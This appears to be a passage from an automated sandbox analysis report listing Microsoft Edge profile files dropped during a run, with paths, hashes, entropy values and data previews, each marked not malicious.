C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.210667637671193
Encrypted:	false
SSDEEP:	6:udhEj+q2Pwkn23oH+TcwtpIFUt8jdh/XdZmw+jdh/XhVkwOwkn23oH+Tcwta/WLJ:EvYfYebmFUt8nt/+nf5JfYebaUJ
MD5:	4896C2047E2A029EE7B1EB3F3F3D4EC7
SHA1:	A8BE62FC8C84927C00B678FB2372317204B687DF
SHA-256:	E756465C32A22BBB453E3244C0CF04E16C5C57839D326F8C407606B6E2D24442
SHA-512:	556DD64286141CA69C3DF5952475E67F1DC255B502E4DE8D4AD0A9E5F4485674029BC273E5D93D6D21BBB6EC5EECDA337F2FCA2464C338B2E38635D24003C76E
Malicious:	false
Preview:	2024/08/31-20:48:29.718 2408 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/08/31-20:48:29.719 2408 Recovering log #3.2024/08/31-20:48:29.719 2408 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 7, 1st free page 5, free pages 2, cookie 0x5, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.26707851465859517
Encrypted:	false
SSDEEP:	12:TLPp5yN8h6MvDOH+FxOUwa5qVZ7Nkl25Pe2d:TLh8Gxk+6Uwc8NlYC
MD5:	04F8B790DF73BD7CD01238F4681C3F44
SHA1:	DF12D0A21935FC01B36A24BF72AB9640FEBB2077
SHA-256:	96BD789329E46DD9D83002DC40676922A48A3601BF4B5D7376748B34ECE247A0
SHA-512:	0DD492C371D310121F7FD57D29F8CE92AA2536A74923AC27F9C4C0C1580C849D7779348FC80410DEBB5EEE14F357EBDF33BF670D1E7B6CCDF15D69AC127AB7C3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.......j.j................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 4, database pages 87, cookie 0x66, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	180224
Entropy (8bit):	0.9237410161604507
Encrypted:	false
SSDEEP:	192:vyMUfTfnGCTjHbRJkkqtXaWTK+hGgH+6e7E:vyffrnzkkqtXnTK+hNH+5
MD5:	C97C2FBAAEA45BB3C728D02689216CB2
SHA1:	CA75AE4F32B49EA8EE1C3FDC4A6A6729460AE9F2
SHA-256:	DB3E522850328F9150FF442E3680DF9F8A332B504ECECE26F4983D79C0D1482B
SHA-512:	5CDF0D3D8069092E9656482D2F4BEAAAF0E58CA20B6066FE0EAB0C84EB60DBCF292EC5A6988F93A8077087FD80E887371EF67A443CCDC99CCFDBE42E708D938E
Malicious:	false
Preview:	SQLite format 3......@ .......W...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2568
Entropy (8bit):	0.06569804787746028
Encrypted:	false
SSDEEP:	3:M/l1lhtll:W31
MD5:	EFF31BB0544CAF064EB6B23BF8B8C670
SHA1:	E5EA8DE34FFA45987F9DBD9C1F0473DF2D9342F7
SHA-256:	633DC073A938E18721A664E78C33ABF8627B9462C00BF7533C3C211A661953B3
SHA-512:	52CDBD7F03B2DB37935576698A7238F31CA21BFC4EB0ACCBA09886D67E1371B3238AEA7A2750C0C2888B8A51325E05E57CC2C2B9F0A47E9D73CFB460462ECEF7
Malicious:	false
Preview:	............I..Y...W....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e5dd3daf-fae8-4c8f-88a2-bc30fde81d35.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9332
Entropy (8bit):	5.182588570645972
Encrypted:	false
SSDEEP:	192:sVbGJq9TPXQ0jAQovYYsYPpj+FVAw/HFBf:sVbGJq9T/0fpUV7/f
MD5:	107406B8DF6F636FAACFAEF3E310D776
SHA1:	44A471CCF551DFA78E722C54CC4B2BD52A84E679
SHA-256:	51F5A3E5D94F3CF0CFFC370E1B8EA60F48B7A7DB00FDC12D30399C0C9184F232
SHA-512:	99A1023631C42C618388B31CA084728C28CF95850E61E0163E3310088DEAC03C542CEA57EA5479FE4BB34682F4F61C017FF5568EBBA573BF01FF62E671B1F0D5
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13369625309732084","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f3716715-cca5-43d0-9b09-9642c5a8d184.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.5579877770613715
Encrypted:	false
SSDEEP:	768:UXLhg67pLGLv1AWPKoftU8F1+UoAYDCx9Tuqh0VfUC9xbog/OVGTqcrrwqEpCtuN:UXLhgScv1AWPKoftUu1jaL+cgUte
MD5:	1218814646DDB511AB7F80D482726C33
SHA1:	85158C8D5A9CECE597C59F6174C047BCBB3C3F3A
SHA-256:	1EAFD89511C3A1319E0C0928CAF669D0817FAE1D205ADCE5AC8C139EE9D739BF
SHA-512:	6583115B025AE40CCA194AFE804CF155142D583DCA6105F4638145D45A8619427DDF058A917A2E9793CEA1DD0633F992DB4E1F8EA49D68AFBC3BBA956602DA28
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369625309610795","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369625309610795","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f3f91a12-b0e0-42ba-9385-d5839c73a6c9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.35226517389931394
Encrypted:	false
SSDEEP:	12:TLC+waBg9LBgVDBgQjiZBgKuFtuQkMbmgcVAzO5kMCgGUg5OR:TLPdBgtBgJBgQjiZS53uQFE27MCgGZsR
MD5:	D2CCDC36225684AAE8FA563AFEDB14E7
SHA1:	3759649035F23004A4C30A14C5F0B54191BEBF80
SHA-256:	080AEE864047C67CB1586A5BA5EDA007AFD18ECC2B702638287E386F159D7AEE
SHA-512:	1A915AF643D688CA68AEDC1FF26C407D960D18DFDE838B417C437D7ADAC7B91C906E782DCC414784E64287915BD1DE5BB6A282E59AA9FEB8C384B4D4BC5F70EC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......Q......Q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	250
Entropy (8bit):	3.6968918782369986
Encrypted:	false
SSDEEP:	3:VVXntjQPEnjQsEVlFl3seGKT9rcQ6xbEpOtlTxotlTxotlTxotlTxotlTxotlTxo:/XntM+p8Tl3sedhO0Ouuuuuu
MD5:	F8A252F4E085A452F82FB9AC27485D9C
SHA1:	FFAA3527D80C1AD1E5CA55A0689F426252459CE1
SHA-256:	46047DF0A7384BDEE7B25071C4F64DD32D35E8AE4B87187914F782F5534927B2
SHA-512:	918025C779227781696EA32405DE620D22B979D0A1B9DE7B5A585770109DCE9829566005B564DA07BD8ED487C8B0884DA3857288DB2CF2CBB0B8C7B07A704987
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	281
Entropy (8bit):	5.2031778245271045
Encrypted:	false
SSDEEP:	6:ud+5FD1wkn23oH+Tcwtfrl2KLlcd+McX59+q2Pwkn23oH+TcwtfrK+IFUv:LyfYeb1LEcXavYfYeb23FUv
MD5:	54CA555995D940C91EB2314EBC1E44FA
SHA1:	9667670D5D247D0783A6BC5483E8FDF27A7E0C72
SHA-256:	38FECA775F6AC3D93C53DE540CB62780EA39CFBA7B0149E271DFF6F0C28571B9
SHA-512:	55C87588B71133A1060E715B4D6914D8CB75585E99885496BC19218694B01ED228F9D8ECAE4A70F6E29AB3825CD44B7826AA1CC7B5337BA324788D5C7EBA79D4
Malicious:	false
Preview:	2024/08/31-20:48:30.022 2158 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db since it was missing..2024/08/31-20:48:30.051 2158 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	3.938584501949153
Encrypted:	false
SSDEEP:	12:G0nYUtTNVrPzl6/h43oA/Uz0RK5uh/2Rdj0QWQ0:G0nYUtPrPJ6+3oAUD4hORdZx0
MD5:	6C8DE3B09BACFACAFEBCD049A0565175
SHA1:	0F41DB531F07AB7670B525ADE21F729FAA1391F2
SHA-256:	4851B178A515B2059E5E61CA777A76EAFA966D177B8CADF9B2890540BDB7F18C
SHA-512:	75265D538BD3744A59205F63AA4A47B9EC29FE7C755FE18A0356F416903871F157CAC2834C5AD50BF3E65DBCD345902706BEDDB220C8C33BAB57AE8D51699BE4
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_......ah0.................20_.....s/<..................19_.........................20_...../...................20_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_..........................19_.....}....................18_......m=.................37_.....uTN..................38_.......h.................39_........I.................21_......j...................21_.....dz.\|.................9_.....'\c..................9_.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.216538739268439
Encrypted:	false
SSDEEP:	6:udhh1wkn23oH+Tcwtfrzs52KLlcd+Ie39+q2Pwkn23oH+TcwtfrzAdIFUv:3fYebs9LAXvYfYeb9FUv
MD5:	4CD5E1BF30AC59E28F121CDD70C9FE44
SHA1:	812327529F58CF85BC31BD6FE75DE6E495911E0D
SHA-256:	0227B72C2574361BCAB06927C0C857DF7CC6C0ED49ADA821C37803972C41D7F8
SHA-512:	B8F1BCF23CAE12B124B69496265CE977072792AF6F69B23999D5E933824B96F2E51A813340E26B52ADD5CF530C71EC7AD870D7219E0884635B142ADEBF25A8B5
Malicious:	false
Preview:	2024/08/31-20:48:29.768 2158 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata since it was missing..2024/08/31-20:48:30.017 2158 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlezl:Ls3ezl
MD5:	F35B1179741002D6B6CBF846271409ED
SHA1:	231C32094A8EADD2C8F96C90F8D5F9F3239E948D
SHA-256:	657BDE82F2E166899EEE23DE862D57E603ABC2AC7E6B6C98F1D424A6B0CB431D
SHA-512:	0EF34E0DE29070AAA2036F1B7A17447C4FC4F19A233CA4254B5BCB0FC0AFFAD94496CDD900486BE0B03B739CED17C8A53BACBEEA506DD87EBD1E011866450147
Malicious:	false
Preview:	........................................<Nlw../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
